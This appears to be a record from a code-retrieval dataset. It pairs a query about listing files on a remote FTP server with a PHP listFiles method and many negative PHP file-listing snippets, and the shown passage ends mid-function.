[ "0.75974715", "0.75535864", "0.72275686", "0.6676082", "0.6635356", "0.6576494", "0.65630317", "0.6456607", "0.64327216", "0.6298526", "0.6260777", "0.61110246", "0.6087266", "0.60632795", "0.60506517", "0.6019031", "0.5911969", "0.5911969", "0.5911969", "0.59118664", "0.59100765", "0.5880764", "0.5839032", "0.5761184", "0.5741363", "0.5707134", "0.5696812", "0.5628705", "0.55787694", "0.5572711", "0.55601835", "0.55418205", "0.55300516", "0.5512654", "0.5470344", "0.5468957", "0.5399023", "0.5399023", "0.5399023", "0.5399023", "0.5399023", "0.5374945", "0.5373347", "0.5364236", "0.5313619", "0.53111976", "0.5254148", "0.52106804", "0.5204906", "0.51978123", "0.51743215", "0.5151482", "0.51495796", "0.51463073", "0.5127885", "0.51193506", "0.51179165", "0.5102108", "0.50994253", "0.509385", "0.5090158", "0.50808483", "0.506538", "0.5056248", "0.5050527", "0.50399774", "0.5009985", "0.50027835", "0.49931338", "0.49931338", "0.4982725", "0.49700347", "0.49556005", "0.49553937", "0.49382004", "0.49296612", "0.49242896", "0.49232382", "0.49188483", "0.49121663", "0.4907883", "0.4907395", "0.48938337", "0.48862702", "0.48859355", "0.48857537", "0.48788482", "0.4859405", "0.48573706", "0.48564118", "0.48513648", "0.4841647", "0.4821532", "0.48181954", "0.48026407", "0.48016316", "0.48003262", "0.47950226", "0.47872606", "0.47730207" ]
0.6453632
8
ListFiles executes a nlist command on the remote FTP server, returns an array of file names, false on failure.
public function listFiles($directory) { if ($this->getActive()) { return ftp_nlist($this->_connection, $directory); } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function listFiles() {\r\n $list = ftp_nlist($this->connessione, '.');\r\n return $list;\r\n }", "public function getFileList(){\n return ftp_nlist($this->ftp_conn, $this->directory); \n }", "function nlist($arg = \"\", $pathname = \"\")\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\t$list = ftp_nlist($this->_socket, $pathname);\r\n \t} else {\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \tif ($arg == \"\") {\r\n \t\t$nlst = \"NLST\";\r\n \t} else {\r\n \t\t$nlst = \"NLST \".$arg;\r\n \t}\r\n \t$this->putcmd($nlst, $pathname);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \twhile (!feof($sock_data)) {\r\n \t\t$list[] = ereg_replace(\"[\\r\\n]\", \"\", fgets($sock_data, 512));\r\n \t}\r\n \t$this->close_data_connection($sock_data);\r\n \t$this->debug(implode(\"\\n\", $list));\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\treturn $list;\r\n \t} else {\r\n \t\treturn FALSE;\r\n \t}\r\n }", "function list_files () {\n\t\t$root = $this->get_root();\n\t\t\n\t\treturn $this->_list_files($root);\n\t}", "function rawlist($pathname = \"\")\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_rawlist($this->_socket, $pathname);\r\n \t} else {\r\n \t$this->putcmd(\"PASV\");\r\n \t$response = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"LIST\", $pathname);\r\n \t\r\n \t$sock_data = $this->open_data_connection($response);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \twhile (!feof($sock_data)) {\r\n \t\t$list[] = ereg_replace(\"[\\r\\n]\", \"\", fgets($sock_data, 512));\r\n \t}\r\n \t$this->debug(implode(\"\\n\", $list));\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\treturn $list;\r\n \t} else {\r\n \t\treturn FALSE;\r\n \t}\r\n }", "public function getRemoteMirrorListFile() {}", "function get_list_of_files() {\n $result = $this->pdo->query('SELECT * FROM files ORDER BY filename ASC');\n return $result;\n }", "protected function getFileList()\n\t\t{\n\t\t\t$dirname=opendir($this->ruta);\n\t\t\t$files=scandir($this->ruta);\n\t\t\tclosedir ($dirname);\t\n\t\t\t\n\t\t\treturn $files;\t\t\n\t\t}", "function fetchFileList() {\n try {\n global $db_table_prefix;\n\n $results = array();\n\n $db = pdoConnect();\n\n $query = \"SELECT\n id,\n path\n FROM \".$db_table_prefix.\"filelist\";\n\n $stmt = $db->prepare($query);\n\n if (!$stmt->execute()){\n // Error\n return false;\n }\n\n while ($r = $stmt->fetch(PDO::FETCH_ASSOC)) {\n $i = $r['id'];\n $results[$i] = $r['path'];\n }\n $stmt = null;\n\n return $results;\n } catch (PDOException $e) {\n addAlert(\"danger\", \"Oops, looks like our database encountered an error.\");\n error_log(\"Error in \" . $e->getFile() . \" on line \" . $e->getLine() . \": \" . $e->getMessage());\n return false;\n } catch (ErrorException $e) {\n addAlert(\"danger\", \"Oops, looks like our server might have goofed. If you're an admin, please check the PHP error logs.\");\n return false;\n }\n}", "public function getFileList() {\n return $this->fileList;\n }", "function _ls($dir = './')\n\t{\n\t\t$list = @ftp_nlist($this->connection, $dir);\n\n\t\t// See bug #46295 - Some FTP daemons don't like './'\n\t\tif ($dir === './')\n\t\t{\n\t\t\t// Let's try some alternatives\n\t\t\t$list = (empty($list)) ? @ftp_nlist($this->connection, '.') : $list;\n\t\t\t$list = (empty($list)) ? @ftp_nlist($this->connection, '') : $list;\n\t\t}\n\n\t\t// Return on error\n\t\tif ($list === false)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Remove path if prepended\n\t\tforeach ($list as $key => $item)\n\t\t{\n\t\t\t// Use same separator for item and dir\n\t\t\t$item = str_replace('\\\\', '/', $item);\n\t\t\t$dir = str_replace('\\\\', '/', $dir);\n\n\t\t\tif (!empty($dir) && strpos($item, $dir) === 0)\n\t\t\t{\n\t\t\t\t$item = substr($item, strlen($dir));\n\t\t\t}\n\n\t\t\t$list[$key] = $item;\n\t\t}\n\n\t\treturn $list;\n\t}", "function ftp_rawlist($ftp_stream, $directory, $recursive = false)\n{\n}", "function _ls($dir = './')\n\t{\n\t\tif (!$this->_open_data_connection())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_send_command('NLST', $dir);\n\n\t\t$list = array();\n\t\twhile (!@feof($this->data_connection))\n\t\t{\n\t\t\t$filename = preg_replace('#[\\r\\n]#', '', @fgets($this->data_connection, 512));\n\n\t\t\tif ($filename !== '')\n\t\t\t{\n\t\t\t\t$list[] = $filename;\n\t\t\t}\n\t\t}\n\t\t$this->_close_data_connection();\n\n\t\t// Clear buffer\n\t\t$this->_check_command();\n\n\t\t// See bug #46295 - Some FTP daemons don't like './'\n\t\tif ($dir === './' && empty($list))\n\t\t{\n\t\t\t// Let's try some alternatives\n\t\t\t$list = $this->_ls('.');\n\n\t\t\tif (empty($list))\n\t\t\t{\n\t\t\t\t$list = $this->_ls('');\n\t\t\t}\n\n\t\t\treturn $list;\n\t\t}\n\n\t\t// Remove path if prepended\n\t\tforeach ($list as $key => $item)\n\t\t{\n\t\t\t// Use same separator for item and dir\n\t\t\t$item = str_replace('\\\\', '/', $item);\n\t\t\t$dir = str_replace('\\\\', '/', $dir);\n\n\t\t\tif (!empty($dir) && strpos($item, $dir) === 0)\n\t\t\t{\n\t\t\t\t$item = substr($item, strlen($dir));\n\t\t\t}\n\n\t\t\t$list[$key] = $item;\n\t\t}\n\n\t\treturn $list;\n\t}", "function dirListing($directory, $flags = '-a')\n\t{\n\t\tif (!empty($flags))\n\t\t$list = ftp_nlist($this->connection, $flags.' '.$directory);\n\t\telse\n\t\t$list = ftp_nlist($this->connection, $directory);\n\n\t\tif ($list===false)\n\t\treturn false;\n\t\telseif (empty($list))\n\t\treturn array();\n\t\telse\n\t\treturn $list;\n\t}", "public function ls($server_dir)\n\t{\n\t\tif (is_resource($this->_sftp) == FALSE)\n\t\t{\n\t\t\treturn NULL;\n\t\t}\n\t\t$server_dir = (substr($server_dir, 0, 1) != '/') ? ('/'.$server_dir) : ($server_dir);\n\t\tif (is_dir('ssh2.sftp://'.$this->_sftp.$server_dir) == FALSE)\n\t\t{\n\t\t\treturn NULL;\n\t\t}\n\t\treturn scandir('ssh2.sftp://'.$this->_sftp.$server_dir); \n\t}", "public function getFilesList() : array {\n $sqlQuery = 'SELECT * FROM files';\n $statement = $this->_dbHandle->prepare($sqlQuery);\n $statement->execute();\n\n $dataSet = [];\n while ($row = $statement->fetch()) {\n $dataSet[] = new File($row);\n }\n return $dataSet;\n }", "public function liste($dossier) {\n\t\t$CODE_RETOUR = false;\n\t\tif ($this->verifie_connexion ()) {\n\t\t\t$CODE_RETOUR = ftp_nlist ( $this->conn_id, $dossier );\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "public function getRemoteExtListFile() {}", "public function getFileList() {\n\t\t$this->toggleErrorLevels(true);\n\n\t\ttry {\n\t\t\t$service = new Google_Service_Drive($this->client);\n\n\t\t\t$optParams = array(\n\t\t\t\t'pageSize' => 10,\n\t\t\t\t'fields' => 'nextPageToken, files(id, name)'\n\t\t\t);\n\n\t\t\t$results = $service->files->listFiles($optParams);\n\t\t\treturn $results->getFiles();\n\t\t}\n\t\tcatch(Exception $e) {\n\t\t\t$this->lastError = $e->getMessage();\n\t\t\treturn null;\n\t\t}\n\t\tfinally {\n\t\t\t$this->toggleErrorLevels();\n\t\t}\n\t}", "public function getFileList(): array\n\t\t{\n\t\t\treturn $this->fileList;\n\t\t}", "public function get_file_list() {\n\t\tset_time_limit( 0 );\n\n\t\t$this->image_dir = self::_add_trailing_slash( $this->image_dir );\n\n\t\tif ( is_dir( $this->image_dir ) ) {\n $result = array();\n\t\t\t$iterator = new \\RecursiveDirectoryIterator( $this->image_dir, \\FileSystemIterator::SKIP_DOTS );\n\t\t\t$iterator = new \\RecursiveIteratorIterator( $iterator );\n\t\t\t$iterator = new \\RegexIterator( $iterator, '/^.+\\.(jpe?g|png|gif|svg)$/i', \\RecursiveRegexIterator::MATCH );\n\n\t\t\tforeach ( $iterator as $info ) {\n\t\t\t if ( $info->isFile() ) {\n $result[] = $info->getPathname();\n }\n\t\t\t}\n\n\t\t\tunset( $iterator );\n\t\t} else {\n $result = false;\n }\n\n\t\treturn $result;\n\t}", "private function _list_files($stop_on_file = FALSE)\n {\n if (sizeof($this->compressed_list))\n {\n $this->set_debug('Returning already loaded file list.');\n return $this->compressed_list;\n }\n\n // Open file, and set file handler\n $fh = fopen($this->_zip_file, 'r');\n $this->fh = &$fh;\n\n if ( ! $fh)\n {\n $this->set_error('Failed to load file: ' . $this->_zip_file);\n return FALSE;\n }\n\n $this->set_debug('Loading list from \"End of Central Dir\" index list...');\n\n if ( ! $this->_load_file_list_by_eof($fh, $stop_on_file))\n {\n $this->set_debug('Failed! Trying to load list looking for signatures...');\n\n if ( ! $this->_load_files_by_signatures($fh, $stop_on_file))\n {\n $this->set_debug('Failed! Could not find any valid header.');\n $this->set_error('ZIP File is corrupted or empty');\n\n return FALSE;\n }\n }\n\n return $this->compressed_list;\n }", "public function testGetFilesList()\n {\n $remoteFolder = \"TestData/In\";\n\n $localName = \"Book1.xlsx\";\n $remoteName = \"Book1.xlsx\";\n\n CellsApiTestBase::ready( $this->instance,$localName ,$remoteFolder . \"/\" . $remoteName , \"\");\n \n $request = new GetFilesListRequest();\n $request->setPath( $remoteFolder);\n $request->setStorageName( \"\");\n $this->instance->getFilesList($request);\n }", "public function fileList()\n {\n return array_values(array_diff(scandir($this->location), ['.', '..']));\n }", "public static function filelist()\n\t{\n\t\tglobal $g_relative_file_directory;\t// '../../UPLOADS/';\n\t\tglobal $g_relative_root_directory;\t// 'UPLOADS/';\n\n\t\t$actualdirectory = $_POST['actualdir'];\n\t\tif(!$actualdirectory)\n\t\t\t$actualdirectory='';\n\n\t\t$result = [];\n\t\t$result['directory'] = $g_relative_root_directory;\n\t\t$result['actualdir'] = $actualdirectory;\n\n\t\tif(strlen($actualdirectory)>0)\n\t\t\t$actualdirectory.=\"/\";\n\n\t\t$reldir = $g_relative_file_directory.$actualdirectory;\n\t\t$dirs=[];\n\t\tforeach(glob($reldir.'*', GLOB_ONLYDIR) as $d)\n\t\t{\n\t\t\t$fn=str_replace($reldir,'',$d);\n\t\t\t$dirs[] = $fn;\n\t\t}\n\t\t$result['dirs']=$dirs;\n\t\t//$result['reldir']=$reldir;\n\n\t\t$filenames = [];\n\t\tforeach(array_filter(glob($reldir.'*.*'), 'is_file') as $file)\n\t\t{\n\t\t\t$farray = [];\n\t\t\t$fn=str_replace($reldir,'',$file);\n\n\t\t\t$f=filesize($file);\n\t\t\t$fe=\"bytes\";\n\t\t\tif($f/1024 > 1)\n\t\t\t{\n\t\t\t\t$f/=1024;\n\t\t\t\t$fe=\"kb\";\n\t\t\t\tif($f/1024 > 1)\n\t\t\t\t{\n\t\t\t\t\t$f/=1024;\n\t\t\t\t\t$fe=\"Mb\";\n\t\t\t\t\tif($f/1024 > 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$f/=1024;\n\t\t\t\t\t\t$fe=\"GB\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$farray['Filename'] = $fn;\n\t\t\t$farray['Filesize'] = number_format($f,1);\n\t\t\t$farray['FilesizeDeterminant'] = $fe;\n\n\t\t\t$filenames[] = $farray;\n\t\t}\n\t\t$result['files']=$filenames;\n\n\t\theader('Content-Type: application/json');\n\t\techo(json_encode($result));\n\t}", "public function getFileList()\n {\n $filelist = app()->redis->hGet('Torrent:' . $this->tid . ':base_content', 'torrent_structure');\n if ($filelist == false) {\n $filelist = app()->pdo->createCommand('SELECT `torrent_structure` FROM `torrents` WHERE `id`= :tid LIMIT 1')->bindParams([\n 'tid' => $this->tid\n ])->queryScalar();\n // However, we don't cache it for cache safety reason.\n }\n return ['msg' => 'Get Filelist success', 'result' => json_decode($filelist, false)];\n }", "public function listFiles($dir);", "public function list_owned_files() {\n $stmt = $this->pdo->prepare('select filename from file where user_id = :id');\n $stmt->bindValue(':id', $this->id);\n $stmt->execute();\n $res = $stmt->fetchAll();\n $result = array();\n foreach ($res as $f) {\n array_push($result, $f['filename']);\n }\n return $result;\n }", "public function listFiles() {\n \n $list = [];\n \n for ($i = 0; $i < $this->zip_archive->numFiles; $i++) {\n $name = $this->zip_archive->getNameIndex($i);\n if ($name === false) {\n throw new Exception(self::getStatus($this->zip_archive->status));\n }\n $list[] = $name;\n }\n\n return $list;\n }", "public function ShowFiles() {\n $i = 0;\n if ($handle = opendir($this->filePath)) {\n while (false !== ($file = readdir($handle))) {\n if (($file != '..') && ($file != '.') && ($file != 'Thumbs.db')) {\n $files[$i] = $file;\n $i++;\n }\n }\n closedir($handle);\n }\n return($files);\n }", "function GetDirectoryList($bIsShowResult = true, $sInFilePath = '')\n{\t\n\t$sDirectoryPath = '';\n\t\n\tif(strlen($sInFilePath) === 0)\n\t{\n\t\tif(isset($_REQUEST['file-path']) === false)\n\t\t{\n\t\t\techo '<fail>no file path</fail>';\n\t\t\treturn;\n\t\t}\n\t\t$sDirectoryPath = trim($_REQUEST['file-path']);\n\t} else\n\t{\n\t\t$sDirectoryPath = $sInFilePath;\n\t}\n\n\t\n\t\n\t$lsNamesArrayList = array();\n\t\n\t$stDirectoryHandle = opendir($sDirectoryPath);\n\t\n\tif (!($stDirectoryHandle === false)) \n\t{\n\t\t$sFileName = '';\n\t\t\n\t\twhile (false !== ($sFileName = readdir($stDirectoryHandle))) \n\t\t{ \n\t\t\tif(strcmp($sFileName, '.') != 0 && strcmp($sFileName, '..'))\n\t\t\t{\n\t\t\t\tif(is_dir($sDirectoryPath.$sFileName) === true)\n\t\t\t\t{\n\t\t\t\t\tif($bIsShowResult === true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$lsNamesArrayList[] = $sFileName.'<$%sep%$>d';\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$lsNamesArrayList[] = array('type' => 'd', 'name' => $sFileName);\n\t\t\t\t\t}\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tif($bIsShowResult === true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$lsNamesArrayList[] = $sFileName.'<$%sep%$>f';\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$lsNamesArrayList[] = array('type' => 'f', 'name' => $sFileName);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else\n\t{\n\t\techo '<fail>cant open direcotry</fail>';\n\t}\n\t\n\t\n\tif($bIsShowResult === true)\n\t{\n\t\techo '<correct>directory list</correct>';\n\t\techo implode(\"\\n\", $lsNamesArrayList);\n\t} else\n\t{\n\t\treturn $lsNamesArrayList;\n\t}\n}", "function ajaxlistfiles(){\n\n\t\t//Glob all files in uploaddir\n\t\t$files = array();\n\t\tforeach(glob($this->uploaddir.'*') as $file){\n\n\t\t\t//Strip path\n\t\t\t$filename = str_replace($this->uploaddir,'',$file);\n\n\t\t\t$files[$filename]['filename']=$filename;\n\t\t\t$files[$filename]['filesize']=filesize($file) / 1024 / 1024; //Mb\n\t\t\t$files[$filename]['modified']=filemtime($file); //Mb\n\n\t\t\t//Check torrent\n\t\t\tif( file_exists( $this->torrentdir.$filename.'.torrent' )){\n\n\t\t\t\t//Add torrent file\n\t\t\t\t$files[$filename]['torrent']=$filename.'.torrent';\n\n\t\t\t\t//Check database table phptracker_peers for torrent peers:\n\t\t\t\tif($torrent = $this->Torrent->findByName($filename)){\n\t\t\t\t\tif($peers = $this->Peer->findAllByInfoHash($torrent['Torrent']['info_hash'])){\n\t\t\t\t\t\t$files[$filename]['peers']=$peers;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->set('files',$files);\n\n\t\t$this->layout = 'ajax';\n\t}", "function getFileList() {\n\tglobal $apiBaseURL; // bad practice in production - fine for this example\n\n\t// use the getURL function to call the URL\n\t$response = getURL($apiBaseURL);\n\t// it returned as JSON so lets decode it\n\t$response = json_decode($response);\n\n\t// return the response\n\treturn($response);\n}", "private function getFileList()\n {\n\n $count = $this->getFileCount();\n $size = $this->getSize() + 4;\n\n $this->seek(\n $this->offset\n + 18\n + $this->getAliasSize()\n + 4\n + $this->getMetadataSize()\n );\n\n return $this->readFileList($count, $size);\n }", "public function dir($extend = true, $checkFormat = true) {\n if (false === $this->connection) {\n return false;\n }\n\n $listing = [];\n if (false === $extend) {\n $listing = ftp_nlist($this->connection, $this->pwd());\n } else {\n foreach(ftp_rawlist($this->connection, $this->pwd()) as $rawFileInfo) {\n if (true === $checkFormat) {\n try {\n FtpClientFileHelper::checkRawFormat($rawFileInfo);\n } catch(\\InvalidArgumentException $e) {\n throw new FtpClientException('Could not list directory contents with format check', 0, $e);\n }\n }\n\n $file = new FtpClientRemoteFile();\n $seg = preg_split('([\\s]+)', $rawFileInfo, 9);\n\n $file->setIsDir((bool) $seg[0]{0} == 'd');\n $file->setChmodRaw($seg[0]);\n $file->setChmod(FtpClientFileHelper::getChmod($seg[0]));\n $file->setOwner($seg[2]);\n $file->setGroup($seg[3]);\n $file->setSizeRaw($seg[4]);\n $file->setDateRaw($seg[6] . ' ' . $seg[5] . ' ' . $seg[7]);\n $file->setTimestamp(FtpClientFileHelper::getTimestamp($seg[7], $seg[5], $seg[6]));\n $file->setName($seg[8]);\n $file->setMime(FtpClientFileHelper::guessMimeType($seg[8]));\n $file->setRaw($rawFileInfo);\n\n if (!$file->isDir()) {\n $file->setSize(FtpClientFileHelper::getSize($seg[4]));\n }\n $listing[] = $file;\n }\n }\n return $listing;\n }", "abstract function list_files($path = '.');", "public function listCommand() {\n\t\t$iterator = new DirectoryIterator(UploadManager::UPLOAD_FOLDER);\n\n\t\t$counter = 0;\n\t\tforeach ($iterator as $file) {\n\t\t\tif ($file->isFile()) {\n\t\t\t\t$counter++;\n\t\t\t\t$this->outputLine($file->getFilename());\n\t\t\t}\n\t\t}\n\n\t\t$this->outputLine();\n\t\t$this->outputLine(sprintf('%s temporary file(s).', $counter));\n\t}", "function lists() {\n $params = array();\n return $this->callServer(\"lists\", $params);\n }", "public function getLists(){\n\t\t\t\n\t\t\tif( $this->gateway )\t\n\t\t\t\treturn $this->gateway->call( 'lists/list' );\n\n\t\t\treturn false;\n\t\t}", "protected function getAvailableFiles() {\n\t\t$sql = \"SELECT\tfilename\n\t\t\tFROM\twcf\".WCF_N.'_'.$this->tableName.\"\n\t\t\tWHERE\tpackageID = \".$this->installation->getPackageID();\n\t\t$result = WCF::getDB()->sendQuery($sql);\n\t\t\n\t\t$availableFiles = array();\n\t\twhile ($row = WCF::getDB()->fetchArray($result)) {\n\t\t\t$availableFiles[] = $row['filename'];\n\t\t}\n\t\t\n\t\treturn $availableFiles;\n\t}", "public function getFileNames();", "function get_list_of_new_files() {\n $result = $this->pdo->query('SELECT * FROM files WHERE newfile = 1 ORDER BY date DESC');\n return $result;\n }", "public static function get_file_list() {\n\t\t$new_file_list = array();\n\t\t$files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( ABSPATH ), RecursiveIteratorIterator::SELF_FIRST );\n\t\tforeach ( $files as $file ) {\n\t\t\t$file = realpath( $file );\n\t\t\tif ( File_List::in_ignore_list( $file ) ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif ( is_dir( $file) ) {\n\t\t\t\t$file .= '/';\n\t\t\t}\n\t\t\t$new_file_list[] = array( $file, File_List::INCLUDED ) ;\n\t\t}\n\t\tasort( $new_file_list );\n\t\treturn array_values( $new_file_list );\n\t}", "static function getDirectoryListing();", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/wiki_sync.php',\n '_tests/tests/unit_tests/wiki_sync.php',\n 'lang_custom/EN/wiki_sync.ini',\n 'sources_custom/wiki_sync.php',\n 'sources_custom/hooks/systems/config/wiki_alt_changes_link_stub.php',\n 'sources_custom/hooks/systems/config/wiki_enable_git_sync.php',\n 'sources_custom/hooks/systems/config/wiki_enable_wysiwyg.php',\n 'sources_custom/hooks/systems/config/wiki_sync_media_directory.php',\n 'sources_custom/hooks/systems/config/wiki_sync_page_directory.php',\n 'sources_custom/hooks/systems/cron/wiki_sync_git.php',\n 'sources_custom/hooks/systems/notifications/wiki_failed_git_pull.php',\n 'sources_custom/wiki.php',\n 'site/pages/modules_custom/wiki.php',\n 'cms/pages/modules_custom/cms_wiki.php',\n );\n }", "function FileList($service=null){\n $optParams = array(\n 'pageSize' => 10,\n 'fields' => \"nextPageToken, files(id, name)\"\n );\n $results = $service->files->listFiles($optParams);\n\n if (count($results->getFiles()) == 0) {\n print \"No files found.\\n\";\n } else {\n print \"Files:\\n\";\n foreach ($results->getFiles() as $file) {\n echo '<br/>';\n printf(\"%s (%s)\\n\", $file->getName(), $file->getId());\n }\n }\n }", "function ls($dir = null, $mode = self::LS_MODE_DIRS_FILES) {\r\n\t\tif ( $dir === null ) {\r\n\t\t\t$dir = $this->pwd();\r\n\t\t}\r\n\t\tif ( ($mode != self::LS_MODE_FILES_ONLY) && ($mode != self::LS_MODE_DIR_ONLY) && ($mode != self::LS_MODE_RAWLIST) ) {\r\n\t\t\t$mode = self::LS_MODE_DIRS_FILES;\r\n\t\t}\r\n\t\t\r\n\t\tswitch ( $mode ) {\r\n\t\t\tcase self::LS_MODE_DIRS_FILES :\r\n\t\t\t\t$res = $this->_lsBoth($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_DIR_ONLY :\r\n\t\t\t\t$res = $this->_lsDirs($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_FILES_ONLY :\r\n\t\t\t\t$res = $this->_lsFiles($dir);\r\n\t\t\t\tbreak;\r\n\t\t\tcase self::LS_MODE_RAWLIST :\r\n\t\t\t\t$res = @ftp_rawlist($this->_handle, $dir);\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\treturn $res;\r\n\t}", "public function getList() {\n\t\treturn Cgn_Module_Manager_File::getListStatic();\n\t}", "function ftp_list_detailed($rmt_dir = '.') {\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\tif (is_array($ls_details = @ftp_rawlist($this->conn_id, $rmt_dir))) {\n\t\t\t\t$items = array();\n\n\t\t\t\tforeach ($ls_details as $i=>$ls_detail) {\n\t\t\t\t\t\t$chunks = preg_split(\"/\\s+/\", $ls_detail);\n\t\t\t\t\t\tlist(\n\t\t\t\t\t\t\t\t$item['rights'], \n\t\t\t\t\t\t\t\t$item['number'],\n\t\t\t\t\t\t\t\t$item['user'], \n\t\t\t\t\t\t\t\t$item['group'], \n\t\t\t\t\t\t\t\t$item['size'], \n\t\t\t\t\t\t\t\t$item['month'], \n\t\t\t\t\t\t\t\t$item['day'], \n\t\t\t\t\t\t\t\t$item['time']\n\t\t\t\t\t\t\t\t\t\t) = $chunks;\n\t\t\t\t\t\t$item['type'] = $chunks[0]{0} === 'd' ? 'directory' : 'file';\n\t\t\t\t\t\tpreg_match(\"/\\S*$/\", $ls_detail, $name);\n\t\t\t\t\t\t$item['name'] = $name[0];\n\t\t\t\t\t\t$items[$i] = $item;\n\t\t\t\t}\n\n\t\t\t\treturn $items;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "function getFileList( $dirname=\".\" ) {\r\n $flist = array();\r\n $dir = opendir( $dirname );\r\n\r\n if ( ! $dir ) { return null; }\r\n\r\n while( $file = readdir( $dir ) )\r\n {\r\n if ( ereg( \"^.$\", $file ) || ereg( \"^..$\", $file ) ) continue;\r\n $files[] = $file;\r\n }\r\n return $files;\r\n}", "function ciniki_lapt_fileList($ciniki) {\n //\n // Find all the required and optional arguments\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'prepareArgs');\n $rc = ciniki_core_prepareArgs($ciniki, 'no', array(\n 'tnid'=>array('required'=>'yes', 'blank'=>'no', 'name'=>'Tenant'),\n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $args = $rc['args'];\n\n //\n // Check access to tnid as owner, or sys admin.\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'lapt', 'private', 'checkAccess');\n $rc = ciniki_lapt_checkAccess($ciniki, $args['tnid'], 'ciniki.lapt.fileList');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n //\n // Get the list of files\n //\n $strsql = \"SELECT ciniki_lapt_files.id, \"\n . \"ciniki_lapt_files.document_id, \"\n . \"ciniki_lapt_files.name, \"\n . \"ciniki_lapt_files.permalink, \"\n . \"ciniki_lapt_files.flags, \"\n . \"ciniki_lapt_files.org_filename, \"\n . \"ciniki_lapt_files.extension \"\n . \"FROM ciniki_lapt_files \"\n . \"WHERE ciniki_lapt_files.tnid = '\" . ciniki_core_dbQuote($ciniki, $args['tnid']) . \"' \"\n . \"\";\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQueryArrayTree');\n $rc = ciniki_core_dbHashQueryArrayTree($ciniki, $strsql, 'ciniki.lapt', array(\n array('container'=>'files', 'fname'=>'id', \n 'fields'=>array('id', 'document_id', 'name', 'permalink', 'flags', 'org_filename', 'extension')),\n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( isset($rc['files']) ) {\n $files = $rc['files'];\n $file_ids = array();\n foreach($files as $iid => $file) {\n $file_ids[] = $file['id'];\n }\n } else {\n $files = array();\n $file_ids = array();\n }\n\n return array('stat'=>'ok', 'files'=>$files, 'nplist'=>$file_ids);\n}", "private function getTestFileList() {\n\t\treturn [\n\t\t\tself::makeFileInfo('a.txt', 4, 2.3 * \\pow(10, 9)),\n\t\t\tself::makeFileInfo('q.txt', 5, 150),\n\t\t\tself::makeFileInfo('subdir2', 87, 128, true),\n\t\t\tself::makeFileInfo('b.txt', 2.2 * \\pow(10, 9), 800),\n\t\t\tself::makeFileInfo('o.txt', 12, 100),\n\t\t\tself::makeFileInfo('subdir', 88, 125, true),\n\t\t];\n\t}", "function ftp_scandir ($opts, $pipe, $cmd = __FUNCTION__) {\n\n $req = array (\n \n 'curlopts' => array (\n \n 'ftplistonly' => true,\n ),\n \n 'finalize_functions' => array (\n \n 'curl_finalize_set_split_key',\n ),\n \n 'finalize_curlopts' => array (\n \n 'ftplistonly' => false,\n ),\n \n 'path_is_dir' => true,\n );\n\n \n # merge the opts and pass to curl for processing\n \n $opts = merge_opts_for_output ($opts, $req);\n \n return curl ($opts, $pipe, $cmd, 'ftp');\n}", "public function listAll()\n {\n $files = \\Core\\File\\System::listFiles($this->_getPath(), \\Core\\File\\System::EXCLUDE_DIRS);\n $result = [];\n foreach (array_keys($files) as $file) {\n $result[] = pathinfo($file, PATHINFO_FILENAME);\n }\n return $result;\n }", "protected function getFilesListRequest(Requests\\GetFilesListRequest $request)\n {\n\n $resourcePath = '/slides/storage/folder/{path}';\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n\n // query params\n if ($request->storageName !== null) {\n $queryParams['storageName'] = ObjectSerializer::toQueryValue($request->storageName);\n }\n\n $resourcePath = ObjectSerializer::addPathValue($resourcePath, \"path\", $request->path);\n $this->headerSelector->selectHeaders(\n $headerParams,\n ['application/json'],\n ['application/json']);\n\n return $this->createRequest($resourcePath, 